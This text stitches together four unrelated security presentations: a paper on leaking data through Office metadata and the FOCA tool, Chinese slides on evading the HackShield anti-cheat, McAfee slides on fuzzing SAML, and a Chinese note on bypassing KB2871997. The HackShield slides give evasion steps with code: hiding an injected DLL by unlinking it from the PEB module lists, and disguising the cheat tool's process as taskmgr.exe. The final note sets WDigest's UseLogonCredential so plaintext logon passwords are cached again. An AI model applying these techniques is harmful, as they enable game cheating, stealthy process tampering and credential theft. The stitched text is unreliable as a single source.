These metadata are used by Microsoft Office in order to perform its own tasks. And they may
contain compromising information such as software versions, authors, revision history, the last
person who edited it and when he did it, the last time the document was printed, which printer
was used, total editing time for the document, information about e-mail messages including e-
mail addresses, and even, in some earlier versions of Office, a Global Unique ID that identifies
the computer on which the document was edited.
Figure 35: Extracted document’s metadata using Libextractor
3.9 DATABASE CONNECTIONS
Information stored in a particular file depends on the Microsoft Office version used and the file
format. Sometimes, if document is using an external source to be constructed even information
about databases and ODBC drivers can be retrieved. The following image shows a SELECT
query, configured ODBC drivers, the database server, database itself and the password too.
Figure 36: Database info
Disclosing Private Information from Metadata, hidden info and lost data
Page 20 of 29
Putting it in clear text in figure 36, we have:
SELECT pruebas_0.apellidos, pruebas_0.nombre, pruebas_0.tlf FROM
pruebasmetadata.pruebas pruebas_0
DATABASE=pruebasmetadata
DRIVER={MySQL ODBC 3.51 Driver} OPTION=0
PWD=PassMETADATA
PORT=0 SERVER=servidor
UID=UsuarioMETADATA
A hexadecimal editor is, again, all it takes to read this data from a document. As can be seen,
this is a special document created to generate documents changing some special parts which
are coming from a database repository.
3.10 PRINTERS
As it was seen before, revision history provides information about user accounts and paths that
may relate to server names and shared resources. Another compromising hidden piece of
information that can be found inside documents is printer data.
Figure 37: Information about printer
As in ODF documents, sensitivity of this information depends on the way printer had been
configured. When the printer is shared on a server, it can appear in UNC format, thus providing
a server name and a shared resource and even the server’s IP address, revealing the way the
internal network has been addressed.
Although this is quite important by itself it is giving more information to a potential attacker just
because if document´s creator is using that printer then it means that user has access to that
resource so, of course, that user is a valid one in server’s. Hence, at the end, it´s also possible
to discover information about network’s ACLs.
Disclosing Private Information from Metadata, hidden info and lost data
Page 21 of 29
Figure 38: Printer in UNC format
Microsoft Office versions prior to Office 97 seldom include this information into document
metadata. But all versions do update it if they find it, changing its value to the name of the
printer currently in use, even if the document is not printed: a simple edition and saving is all it
takes. Hence, documents which have been used by the organization since those old Office 97
times must be carefully inspected for printer data.
3.11 DOCUMENT ANALYSIS AND CLEANING
Cleaning Microsoft Office documents before sending or publishing them is a must, since they
may contain huge amounts of undesired data. The ultimate tool for accomplishing this task is
the “Inspect Document” option available in Office 2007. It searches for all metadata and hidden
information, including printer data or revision history, and gives the user the option to remove it
all from the document. No matter what version of Microsoft Office was used no create and edit
the document, “Inspect Document” will clean it with only a few clicks.
Figure 39: Preparing document in Microsoft Office 2007 (yes, it´s Spanish)
Disclosing Private Information from Metadata, hidden info and lost data
Page 22 of 29
Previous versions of Microsoft Office didn’t provide this option. For that reason, Microsoft
released a plug-in to improve software with cleaning options. This tool is known as RHDTool
and it´s available for downloading in the following URL:
http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=144e54ed-d43e-
42ca-bc7b-5446d34e5360
Figure 40: RHDTool
Also, Microsoft has published some guides to help users to minimize the amount of metadata in
their documents (their URLs are in the References section of this paper).
Another option is using third party tools, like Metadata Extractor o Doc Scrubble. It must be
said, anyway, that from the tests made it can be deduced that sometimes these tools don’t clean
all metadata and hidden information. For example, the following image shows DocScrubble
options, and, for instance, although a document was cleaned using DocScrubble, it keeps
containing printer data.
Figure 41: Printer info remains inside the file
Disclosing Private Information from Metadata, hidden info and lost data
Page 23 of 29
It has been said that converting Microsoft Office to other formats may be a solution to the
problems stated in this article, in particular, converting them to PDF format. But PDF files store
information too, both in the “Data Dictionary” and in XMP streams.
These metadata may include user accounts, file paths, URLs pointing to Intranet servers, e-mail
message headers including e-mail addresses, information about the Operating System and
more.
Figure 42: PDF Metadata including Intranet references
But even converting documents to TXT format may not be enough, even if they contain no
metadata at all. When a document is published in the corporate web, it becomes available to
web search engines, as Google, MSN Search or Yahoo. And this search engines create new
metadata about them: they give them a title, provide an abstract of their content as part of the
results and store a cached version.
As that search engine generated metadata is created based upon the document content, any
lost data that the document contains may turn into metadata.
4 METADATA EXTRACTION TOOLS
There are several tools to retrieve metadata from documents, depending on their format.
Maybe, libextractor is the best known of them all. It features a library of functions to access
document’s properties and a standalone program, called “extract” which parses and extracts
metadata from several file formats, including Microsoft Office documents, ODT, PDF and many
more. The support for Microsoft Word DOC files includes extraction of the revision history, being
one of the few tools freely available to accomplish this task.
Metagoofil is a program that downloads documents from web sites and afterwards extracts
metadata from them using extract tool, making the process of fingerprinting corporate networks
easier.
Exiftool is another open source metadata extraction tool. Originally designed to extract EXIF
information from image files, it can process a huge amount of file formats, including again
Microsoft Office Documents. When present, it can retrieve GUID information from old versions
Microsoft Word files. Another remarkable feature of Exiftool is the way it deals with PDF
documents, being able to extract both Data Dictionary and XMP metadata. It has an option that
allows in deep scanning for XMP metadata even if it has been disassociated from the PDF file
main tree structure. Both extract and exiftool are command line utilities.
Disclosing Private Information from Metadata, hidden info and lost data
Page 24 of 29
There are tools to extract metadata through a GUI, like ExifReader. Anyway, this kind of
programs tends to be less flexible and powerful than their command line alternatives.
But all these programs deal mostly with metadata and don’t pay much attention to hidden
information, with the exception of extract and its revision history processing. Neither printer
information, templates paths, nor database information can be obtained by them. To solve this
problem, new tools have to be made. And that’s why the FOCA tool was created.
FOCA uses web search engines to locate documents, download them and extracts metadata
and hidden information from them. It can retrieve information from several file formats, including
Microsoft Office documents, ODF, Word Perfect files and more, and the range of information
obtained is wider that the one achieved with any other tool mentioned here.
5 SEARCH ENGINES
When a document is published in the corporate web, it becomes available to web search
engines, such as Google, Live Search or Yahoo. These search engines create new metadata
about them: they give them a title, provide an abstract of their content as part of the results and
store a cached version.
As that search-engine-generated metadata is created based upon document’s content, any lost
data document contains may turn into metadata. That is even worse if document does not
contain title or customized metadata helping search engines to create a short description of it.
With a little Google Hacking work, addressing metadata fields as the “title” through using
searching options as “intitle”, compromising information can be retrieved. There is no need for
even downloading documents hence organizations may not even notice someone is accessing
sensitive data.
Figure 43: Fbi.gov users gathered by Google
Disclosing Private Information from Metadata, hidden info and lost data
Page 25 of 29
Of course, this kind of data can be found in documents created or edited on Linux, and all Unix
flavors, systems too:
Figure 44: *NIX users
All this information becomes available to anyone who has Internet access. And it may remain
available even after documents were modified or removed from web site due to the cache
feature most web search engines provide.
Cached copies from documents may appear tagged with the words “Cache” or “HTML version”,
and they are stored by the search engine systems themselves, thus giving little control to
website owners and administrators on their contents and access rights. Of course, search
engines companies provide tools which allow webmasters to remove contents from their
indexes, but those tools may be useless for massive document management. Besides,
monitoring accesses through search engine caches is, at least, a taught task for organizations
and website administrators.
6. FOCA
Just as a proof of concept, FOCA is been developed. FOCA, which stands for “Fingerprinting
Organization with Collected Archives” is an automated tool for downloading documents
published in websites, extracting metadata and analyzing data. Now it´s an on growth project
which is being improved day by day.
FOCA searches for links to documents using Google and Microsoft Live Search engines. This
tool is not using any special Google key to access the API, so if Google or Microsoft Live asks
for a CAPTHA value then FOCA will stop and show up the CAPTCAH, waiting for it to continue.
Disclosing Private Information from Metadata, hidden info and lost data
Page 26 of 29
Figure 45: 1394 office documents published in Blackhat web site
A big website can store between three and five thousand Office documents so, in a normal
search for links maybe between zero and five CAPTCHAs can be required (depending on the
Google and Microsoft security policies in that moment). After collecting all the links, all
documents can be downloaded using a multi thread engine to retrieve all of them as fastest as
possible.
Figure 46: FOCA downloading files
Disclosing Private Information from Metadata, hidden info and lost data
Page 27 of 29
Once retrieved, FOCA allows extracting metadata from all documents. Today FOCA supports
DOC, XLS, PPT, PPS, DOCX, PPTX, PPSX, XLSX, SWX, ODT, ODS, ODP, PDF, and WPD
documents. In the following image the metadata extracted from a public document is shown. In
this case, the document is a (great) David Litchfiled work.
Figure 47: Metadata stored in a Microsoft Doc published at Blackhat.com (in English)
Once all documents are analyzed FOCA will collect three special lists. First one with discovered
users, second one with paths to files and the last one with printers. Besides, using FOCA is
easy to track where the metadata is stored in order to analyze deeply a real environment.
Figure 48: Tracking Metadata in files
Disclosing Private Information from Metadata, hidden info and lost data
Page 28 of 29
FOCA will also search for new servers in the domain name server using Google Sets and
Wikipedia categories based in the server names found and at the end, a view more or less
complete depending in the amount of data obtained will be printed.
There is an on-line version of FOCA which can be used by anyone in the following URL:
http://www.informatica64.com/FOCA.
Figure 49: FOCA, on-line version
7 SECURE WEB PUBLISHING
Removing metadata from documents is not an easy task. As far as users can not be relied on to
ensure document security and the volume of published information increases faster and faster,
organizations must find ways to make it automatically.
Among the systems involved in document security, web servers play a fundamental role, as they
are the logical boundary between Internet and the organization. MetaShield Protector is a
solution for sanitizing documents on the fly as they are served to users by IIS web servers. It
replaces document metadata so that they contribute to security and offer a normalized public
image of the organization.
CONCLUSIONS
Any document can have associated metadata that contain lost information or hidden data. In
particular, Microsoft Office and OpenOffice documents may contain data about the internal
network, its user accounts and machines, shared resources, services provided, operating
systems, and more.
Organizations must take this information into account before publishing documents on the web
or sending them by e-mail. Cleaning these documents is a must, as it is taking care of how web
search engines index them.
Keep an eye in the information you know you published and the one you maybe publish without
knowing it.
Disclosing Private Information from Metadata, hidden info and lost data
Page 29 of 29
REFERENCES
EXIF [Exchangeable Image File Format]
http://en.wikipedia.org/wiki/Exif
IPTC [International Press Telecommunications Council]
http://en.wikipedia.org/wiki/IPTC
XMP [Extensible Metadata Platform]
http://en.wikipedia.org/wiki/Extensible_Metadata_Platform
WD97: Cómo minimizar metadatos en documento de Microsoft Word
http://support.microsoft.com/kb/223790
Cómo minimizar metadatos en documentos de Microsoft Word 2000
http://support.microsoft.com/kb/237361
How to minimize metadata in Word 2002
http://support.microsoft.com/default.aspx?scid=kb;EN-US;290945
Cómo minimizar metadatos en Word 2003
http://support.microsoft.com/kb/825576/
How to minimize metadata in Microsoft Excel workbooks
http://support.microsoft.com/default.aspx?scid=kb;EN-US;223789
Ppt97: Cómo minimizar metadatos en presentaciones de Microsoft PowerPoint
http://support.microsoft.com/kb/223793/
PPT2000: How to Minimize Metadata in Microsoft PowerPoint Presentations
http://support.microsoft.com/default.aspx?scid=kb;EN-US;314797
How to minimize the amount of metadata in PowerPoint 2002 presentations
http://support.microsoft.com/kb/314800/EN-US/
Microsoft Word bytes Tony Blair in the butt
http://www.computerbytesman.com/privacy/blair.htm
Word list generation for bruteforce cracking
http://www.reversing.org/node/view/9
Utilidades
ExifReader
http://www.takenet.or.jp/~ryuuji/minisoft/exifread/english/
Wlgen
http://www.reversing.org/node/view/8
OOMetaExtractor
http://www.codeplex.com/oometaextractor
DocScrubber
http://www.javacoolsoftware.com/docscrubber/index.html
Metadata Extraction Tool
http://www.drewnoakes.com/code/exif/releases/
Libextractor
http://gnunet.org/libextractor/
Bintext
http://www.foundstone.com/us/resources/proddesc/bintext.htm
Metagoofil
http://www.edge-security.com/metagoofil.php
Foca Online
http://www.informatica64.com/foca | pdf |
大可(Dark)
熟悉的語言:C/C++ , PASCAL , ASM
專長:windows 程式設計&逆向工程
講課經驗:在ZCamp2008講過課
興趣:程式設計&資訊安全&美食&聊天&動漫&
睡覺&看電影&聽音樂&彈鋼琴&打電玩
Hackshield是一款防止外掛程式的入侵的軟件,
執行遊戲時,Hackshield會偵防外掛使用者的
電腦, 並封鎖不正常的程式碼, 有效防止按鍵
精靈、加速器等的外掛的運行。
轉自
http://eco.gamecyber.com.tw/tw/hanckshield01.html
CE (Cheat Engine)
讀寫記憶體
按照使用者指定的方式去比對記憶體的資料
有開放原始碼
UCE(Undetected Cheat Engine)
防外掛軟體會封鎖CE
有人改CE原始碼,改成防外掛檢測不到
不需要再去找Bypass HS(hackshield)版的UCE
也不用自己修改CE原始碼
可以寫一個程式 , 使”任何工具”繞過HS
其實這部分很容易, 前提是要知道如何繞過HS
可以把繞過HS的方法,寫成DLL
然後把DLL inject到指定的外掛工具中
可以歸納為"攻" 與 "守" 兩個動作
目的:偵測對遊戲不利的程式
inline hook SSDT- NtDeviceIoControlFile:
攔截分析: 由於CE(Cheat Engine)從driver呼叫 CE內
部的OpenProcess方式,所以Usermode 必須呼叫
DeviceIoControl 跟 driver交換訊息。
不定期取得process的資訊。
enum window尋找可疑的視窗。
• 目的:讓遊戲記憶體不被外部程式Access,並防止HS遭修改
• Inline hook SSDT- NtOpenProcess
– 防止被外部程式獲得Process Handle,
– 然而工作管理員卻是白名單(可以給我們利用)
• Hook shadow SSDT-NtUserSendInput
– 防止模擬鍵盤滑鼠輸入
• 此外會不定期對遊戲的code segment做CRC check
– 防止遊戲程式碼被修改!
Inline hook SSDT– NtReadVirtualMemory
防止遊戲記憶體被讀取
Inline hook SSDT– NtWriteVirtualMemory
防止遊戲記憶體被寫入
外掛也可以分為攻與守兩個方式
攻:繞過,防護對遊戲記憶體做讀寫
守:防止工具被HS檢驗到
上面兩點都達到大概就圓滿落幕了
Hook NtLoadDriver
這樣就能使HS的驅動不正常運作
但是
防外掛不只包含那個驅動, 有其他模組會檢查HS
驅動執行是否正常
不正常就關閉遊戲
追蹤 HS載入的地方
修改程式,完全拔掉 HS
可以完全拔掉...
但是
遊戲會發"確認HS運作正常"的封包
如果破壞 hackshield 的完整性
要進行繁瑣的修復動作
分析伺服器送出的確認封包
模仿加密過程送出
才能讓遊戲正常執行
So , 選擇與hackshield共存
透過hook , 來載入我們的dll
防止 HS對Executable Module list做驗證
dll injection成功之後,把dll module給隱藏
就能直接存取遊戲的記憶體空間
別用ReadProcessMemory 或
WriteProcessMemory讀寫記憶體
遊戲有對這兩個API做Inline SSDT Hook
找到PEB(Process Environment Block)
在fs[0x30]可以找到peb ,像這樣” mov eax , fs: [0x30]”
到PEB->Ldr, 去enum下面三個module的List_Entry
結構
InLoadOrderModuleList
InMemoryOrderModuleList
InInitializationOrderModuleList
比對module,把要隱藏的module連結弄斷
Current->Blink->Flink=Current->Flink
Current->Flink->Blink=Current->Blink
指定的dll module就會被孤立
•
開工作管理員可以結束掉遊戲的process
– 可見工作管理員能對遊戲做OpenProcess的動作
– 工作管理員(taskmgr.exe)在HS的白名單裡面
•
從 PEB 到
_RTL_USER_PROCESS_PARAMETERS 結構,
改掉ImagePathName來偽裝
void Fake_Fake_FakeXD (WCHAR* wszImagePathName)
{
_asm
{
mov eax,fs:[0x30] //eax points to PEB
mov eax,[eax+0x010] //eax points to _RTL_USER_PROCESS_PARAMETERS
add eax,0x38
//eax points to ImagePathName(UNICODE_STRING)
add eax,0x4
//UNICODE_STRING.Buffer
mov ebx,wszImagePathName
mov [eax],ebx
}
}
HS針對 NtOpenProcess 弄了一個inline hook,
偵測這個hook是否有效
無效的話就BSOD。
先不要動NtOpenProcess,他們忘記了
NtOpenProcess上面的老大
ObOpenObjectByPointer
利用這來獲得Process Handle
利用 KeAttachProcess 這個Native API
弄個Read&WriteProcessMemoryByPid
如此就不用煩惱取得Process Handle的種種問題!
hook shadow SSDT , 把獲得視窗Handle的函數
hook掉
例如
NtUserQueryWindow
NtUserGetForegroundWindow
NtUserWindowFromPoint
NtUserFindWindowEx
NtUserBuildHwndList
防止外掛的Process Handle被HS拿去用
防止HS從Process List獲得我們外掛的一些資訊
Afert
要保護遊戲是件不容易的事情
DKOM(Direct Kernel Object Manipulation)
http://www.blackhat.com/presentations/win-usa-04/bh-win-04-butler.pdf
HOWTO: Implement your own NtOpenProcess in kernel-mode
http://wj32.wordpress.com/2009/02/19/howto-implement-your-own-
ntopenprocess-in-kernel-mode/
Undocument-PEB Structure
http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/
NT%20Objects/Process/PEB.html
简单说说SSDT
http://icylife.net/yunshu/show.php?id=435
NEXON采用的新反作弊软件--Hack Shield Pro 介绍
http://qbar.games.qq.com/popkart/165052.htm?owner=66191052
Cheat Engine
http://www.cheatengine.org/
Email: [email protected]
Blog: http://cl4rk.pixnet.net/blog/
ANY Question? | pdf |
COPYRIGHT ©2006 McAfee Inc.
» Fuzzing XML Based Protocols (SAML)
Hacks-In-Taiwan 2006
Yen-Ming Chen
Senior Principal Consultant
Foundstone, A Division of McAfee
2
COPYRIGHT ©2006 McAfee Inc.
Agenda
»
Introduction
–
SAML
–
OpenSAML
»
Scenarios
»
Implementation
»
Conclusion
3
COPYRIGHT ©2006 McAfee Inc.
SAML
»
Security Assertion Markup Language (SAML)
»
Codified by OASIS with participation from MACE and others
»
Defines XML Schema for AuthN and attribute assertions, queries,
responses, and use profiles such as Web SSO.
»
Defines bindings to protocols for transport
»
V2.0 expands SAML and includes definitions from Shibboleth and the
Liberty Alliance
4
COPYRIGHT ©2006 McAfee Inc.
SAML in a Nutshell
»
An XML-based framework for exchanging security information
–
XML-encoded security assertions
–
XML-encoded request/response protocol
–
Rules on using assertions with standard transport and messaging
frameworks
»
An OASIS standard (1.0, 1.1, and 2.0)
–
Vendors and users involved
–
OpenSAML implementation available
–
Codifies current system outputs vs. creating new technology
5
COPYRIGHT ©2006 McAfee Inc.
OpenSAML
»
OpenSAML for the message and assertion formats, and protocol
bindings which is based on Security Assertion Markup Language
(SAML)
»
SAML (Security Assertion Markup Language) is a standard for the
formation and exchange of authentication, attribute, and authorization
data as XML. It describes various kinds of messages and standard
ways of transporting them.
»
OpenSAML is a set of open-source libraries in Java and C++ which can
be used to build, transport, and parse SAML messages.
6
COPYRIGHT ©2006 McAfee Inc.
Technology
»
Basic concepts
–
Subject/principal
•
User or application requesting access to a resource
–
Assertion
•
Set of statements about a subject
–
Authority
•
Entity that produces and/or consumes assertions
–
Binding
•
Specification for transporting assertions as protocol payloads
–
Profile
•
Specification describing rules for embedding, transferring, extracting,
and processing assertions
7
COPYRIGHT ©2006 McAfee Inc.
Technology
»
Use cases
–
Web single sign-on (SSO)
•
User logs onto source site and implicitly requests brokered logon to one
or more destination sites with pre-existing trust relationships to source
site
–
Authorization
•
Once having logged onto trusted destinations via SSO, user requests
authorized access to various resources controlled by destinations
–
Back-office transactions
•
User attaches assertions to electronic business document and
transmits to relying party
8
COPYRIGHT ©2006 McAfee Inc.
SSO use case
Authenticate
Web User
Source
Web Site
Use Secured
Resource
Destination
Web Site
9
COPYRIGHT ©2006 McAfee Inc.
Assertion
Statement
Authentication Statement
Attribute Statement
Authorization Decision Statement
--Identifier
--Issuer
--Issuance timestamp
--Conditions
--Advice
Assertion Title Syntax
10
COPYRIGHT ©2006 McAfee Inc.
SAML assertion
SAML
requester
SAML
responder
within
SAML-enabled
authentication authority,
attribute authority,
PDP,
or PEP
SAML request message
specifying assertion
type to be returned*
SAML response message
containing assertion
of type specified*
within
SAML-enabled
authentication authority,
attribute authority,
PDP,
or PEP
*optionally, SAML messages may be digitally signed via XML Signatures,
or sent over secure Transport Layer Security (TLS) channels
Message Exchange Protocol
11
COPYRIGHT ©2006 McAfee Inc.
SOAP message
SOAP header
SOAP body
SAML message
SAML assertion
Binding with SOAP
12
COPYRIGHT ©2006 McAfee Inc.
SAML assertions
»
An assertion is a declaration of fact about a subject, e.g. a user
–
(according to some assertion issuer)
»
SAML has three kinds, all related to security:
–
Authentication
–
Attribute
–
Authorization decision
»
You can extend SAML to make your own kinds of assertions
»
Assertions can be digitally signed
13
COPYRIGHT ©2006 McAfee Inc.
All assertions have some common information
»
Issuer and issuance timestamp
»
Assertion ID
»
Subject
–
Name plus the security domain
–
Optional subject confirmation, e.g. public key
»
“Conditions” under which assertion is valid
–
SAML clients must reject assertions containing unsupported conditions
–
Special kind of condition: assertion validity period
»
Additional “advice”
–
E.g., to explain how the assertion was made
14
COPYRIGHT ©2006 McAfee Inc.
Authentication assertion
»
An issuing authority asserts that:
–
subject S
–
was authenticated by means M
–
at time T
»
Caution: Actually checking or revoking of credentials is not in
scope for SAML!
–
Password exchange
–
Challenge-response
–
Etc.
»
It merely lets you link back to acts of authentication that took
place previously
15
COPYRIGHT ©2006 McAfee Inc.
SSO pull scenario
Authentication Authority
+ Attribute Authority
Web User
Source
Web Site
Destination
Web Site
Policy Decision Point +
Policy Enforcement Point
Authenticate (out of band)
Access inter-site transfer URL
Redirect with artifact
Get assertion consumer URL
Request referenced assertion
Supply referenced assertion
Provide or refuse destination resource (out of band)
16
COPYRIGHT ©2006 McAfee Inc.
Our Scenario
ACME.com
SiteB.com
17
COPYRIGHT ©2006 McAfee Inc.
Login
POST https://www.acme.com/app/loginSubmit.jspx HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: https://www.acme.com/app/login.jspx
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET
CLR 1.1.4322) Paros/3.2.10
Host: www.acme.com
Content-Length: 118
Connection: Keep-Alive
Cache-Control: no-cache
referer=&userName=ymchen&password=ymchen&x=16&y=9
18
COPYRIGHT ©2006 McAfee Inc.
Login Response (Set-Cookie)
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache,no-store,max-age=0
Pragma: No-cache
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: https://www.acme.com/app/welcome.jspx
Set-Cookie:
JSESSIONID=Gkfbl3YJ9MBdxzVLkRtPpXkYD6gMQkCQMCJVz3dYld
7kPcdJG1LJ!239153226; path=/
Date: Sat, 15 Jul 2006 23:17:15 GMT
Connection: close
19
COPYRIGHT ©2006 McAfee Inc.
Get SAML Assertion from ACME.com for SiteB
GET https://www.acme.com/app/loginToSiteB.jspx HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Cookie: CP=null*;
JSESSIONID=Gkfbl3YJ9MBdxzVLkRtPpXkYD6gMQkCQMCJVz3dYld
7kPcdJG1LJ!239153226
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET
CLR 1.1.4322) Paros/3.2.10
Host: www.acme.com
Connection: Keep-Alive
Accept-Language: en-us
Content-length: 0
Using ONLY
JSESSIONID to get
SAML Assertion
20
COPYRIGHT ©2006 McAfee Inc.
Response from ACME.com
<form name="samlform"
action="https://www.siteb.com/actionb.dll?cmd=sson&pid=1234
5" method="POST">
<input type="hidden" name="SAMLResponse"
id="SAMLResponse" value=“Base64 Encoded SAML
Response”>
</form>
21
COPYRIGHT ©2006 McAfee Inc.
SAML Response -- Header
<Response xmlns="urn:oasis:names:tc:SAML:1.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion"
xmlns:samlp="urn:oasis:names:tc:SAML:1.0:protocol"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
IssueInstant="2006-06-29T23:23:20.559Z" MajorVersion="1"
MinorVersion="1"
Recipient="https://www.siteb.com/actionb.dll?cmd=sson&
pid=12345" ResponseID="_c875208d11f9daa014770c0cf7812418">
22
COPYRIGHT ©2006 McAfee Inc.
SAML Response -- Digital Signature
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-
c14n#"></ds:CanonicalizationMethod>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"></ds:SignatureMethod>
<ds:Reference URI="#_c875208d11f9daa014770c0cf7812418">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"></ds:Transform>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces
xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="code ds kind rw saml samlp typens
#default xsd xsi"></ec:InclusiveNamespaces></ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></ds:DigestMethod>
<ds:DigestValue>QNVCOOOsXzCDyl2mp6wZGhUBUCI=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>
SgT0UDeIhUk2KYPk/N6TA2STerwDOTL/4paQ39odRhbngUwzfCizJwLCvZKHCqCwSY3btv9aj/kz
1i0180VCnpMtytVR0UWWM8kzRf1AuPEB3gm5gCZkX1zp/UOnWyEkpdSRNGSquFilrMt9q7JoE7Cq
QjR1uDqdBwPsOGlmkcw=
</ds:SignatureValue>
</ds:Signature>
23
COPYRIGHT ©2006 McAfee Inc.
SAML Response – Status
<Status><StatusCode Value="samlp:Success"></StatusCode></Status>
<Assertion xmlns="urn:oasis:names:tc:SAML:1.0:assertion"
AssertionID="_b3360dd260d9c4f7215554869a12044c"
IssueInstant="2006-06-29T23:23:20.559Z"
Issuer="http://www.acme.com" MajorVersion="1" MinorVersion="1">
24
COPYRIGHT ©2006 McAfee Inc.
SAML Response -- Condition
<AuthenticationStatement AuthenticationInstant="2006-06-
29T23:23:20.559Z"
AuthenticationMethod="urn:oasis:names:tc:SAML:1.0:am:password">
<Conditions NotBefore="2006-06-29T23:23:20.559Z"
NotOnOrAfter="2006-06-29T23:28:20.559Z">
<AudienceRestrictionCondition>
<Audience>http://www.siteb.com</Audience>
</AudienceRestrictionCondition>
</Conditions>
This SAML
Assertion is only
valid for 5
minutes!!!
25
COPYRIGHT ©2006 McAfee Inc.
SAML Response -- Subject
<Subject>
<NameIdentifier>123456789054321</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</Confir
mationMethod>
</SubjectConfirmation>
</Subject>
<SubjectLocality IPAddress="10.50.45.23">
</SubjectLocality>
</AuthenticationStatement>
26
COPYRIGHT ©2006 McAfee Inc.
SAML Response -- Attributes
<AttributeStatement>
<Subject>
<NameIdentifier>123456789054321</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer
</ConfirmationMethod>
</SubjectConfirmation>
</Subject>
<Attribute AttributeName="member_id"
AttributeNamespace="urn:oasis:names:tc:SAML:1.0:assertion">
<AttributeValue>123456789054321</AttributeValue>
</Attribute>
</AttributeStatement>
</Assertion>
</Response>
27
COPYRIGHT ©2006 McAfee Inc.
Posting SAML Response
POST https://www.siteb.com/actionb.dll?cmd=sson&pid=12345
HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: https://www.acme.com/app/loginToSiteB.jspx
Content-Type: application/x-www-form-urlencoded
Host: www.siteb.com
Connection: Keep-Alive
Cache-Control: no-cache
SAMLResponse=<Base64 encoded>
28
COPYRIGHT ©2006 McAfee Inc.
Response from SiteB
HTTP/1.1 200 Ok
Server: Microsoft-IIS/5.0
Date: Thu, 29 Jun 2006 23:23:58 GMT
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM
CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY
ONL PUR UNI"
Connection: close
Set-Cookie: RID=BLAHBLAH; path=/
Content-Type: text/html
Content-length: 12345
29
COPYRIGHT ©2006 McAfee Inc.
Implementation
»
Read the XML File
»
Parse all elements and attributes
»
Put in attack patterns
»
Results and problems
30
COPYRIGHT ©2006 McAfee Inc.
Read XML File
» Save the base 64 decoded file as an XML file
» Using System.XML to read the XML file like this:
– XmlReader reader = XmlReader.Create(filename, settings);
– Other ways like DOM or DataSet can be used too
» Determine NodeType (Element or Attribute)
31
COPYRIGHT ©2006 McAfee Inc.
Attack Patterns
» Only buffer overflow was tested.
» Patterns like ‘Z’ x 1024, ‘Z’ x 4096 or random data pattern
» After you generate the XML file,
– Base 64 encode
– Generate HTTP POST request
» File name convention
– <element>-<attribute>-<test>.xml
– E.g.: ds:Signature-value-50k.xml
» Coverages
– 15 elements and their attributes
– Hundreds of test cases
32
COPYRIGHT ©2006 McAfee Inc.
Issues
» How do we determine results automatically?
» By three conditions:
– Comparing HTTP Response Code from the server
– Comparing HTTP Response Content-Length header
– Time out (in case the server died)
» Looking for anomolies (like an IDS)
– Send normal request first
– Send test case to compare results
33
COPYRIGHT ©2006 McAfee Inc.
Results
» We found one buffer overflow:
– <ds:Signature>
– The program did not handle the signature verification correctly,
therefore when you feed a large amount of data, it crashed.
» Flawfinder found 29 potential problems on OpenSAML
– Our test application was ‘based’ on OpenSAML implementation
– We can’t test what we don’t see!
34
COPYRIGHT ©2006 McAfee Inc.
Future Works
» Need to add more attack
– XPATH Injection
– XML memory corruption test
– Authorization test
• If you have another user’s account, can you become that user?
» Need to correlate with source code review results
– Can you ‘prove’/’disprove’ flawfinder’s result?
» Can similar tests been done in unit testing?
– Even earlier, in TDD
» We have not touched the backend process part
35
COPYRIGHT ©2006 McAfee Inc.
Reference
»
PROTOS -- http://www.ee.oulu.fi/research/ouspg/protos/
»
SAML -- http://www.oasis-
open.org/committees/tc_home.php?wg_abbrev=security
»
OPENSAML – http://www.opensaml.org/
COPYRIGHT ©2006 McAfee Inc.
» Question & Answer
Thank You!
Yen-Ming Chen
[email protected] | pdf |
Bypass KB2871997
0x01 KB2871997
1
2014513
2
2014 7 8
(CredSSP)
2973351 Microsoft 2919355 Windows
2975625 Microsoft 2919355 Windows
2014 9 9
2982378 Microsoft : Windows 7 Windows Server 2008 R2
2014 10 14
2984972 Windows 7 Windows Server 2008 R2
2984976 2592687 8.0 Windows 7
Windows Server 2008 R2 2984976 2984972
2984981 2830477 8.1 Windows 7
Windows Server 2008 R2 2984981 2984972
2973501 Windows 8Windows Server 2012 Windows RT
0x02 TokenLeakDetectDelaySecs
1
Win7Win8
1 TokenLeakDetectDelaySecs
2 WDigest
1
2
2
dword 30
30
3 3126593 (MS16-014)
3126593
TokenLeakDetectDelaySecs 0
0x03 WDigest
1 Wdigest
WDigest
UseLogonCredential
UseLogonCredential 0WDigest 1
2Bypass KB2871997
Win7Server 2008 R2Windows 8 Server 2012 UseLogonCredential 1
Windows 8.1 Server 2012 R2 ( ,UseLogonCredential
0
WDigest UseLogonCredential 1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\TokenLeakDetectDela
ySecs
1
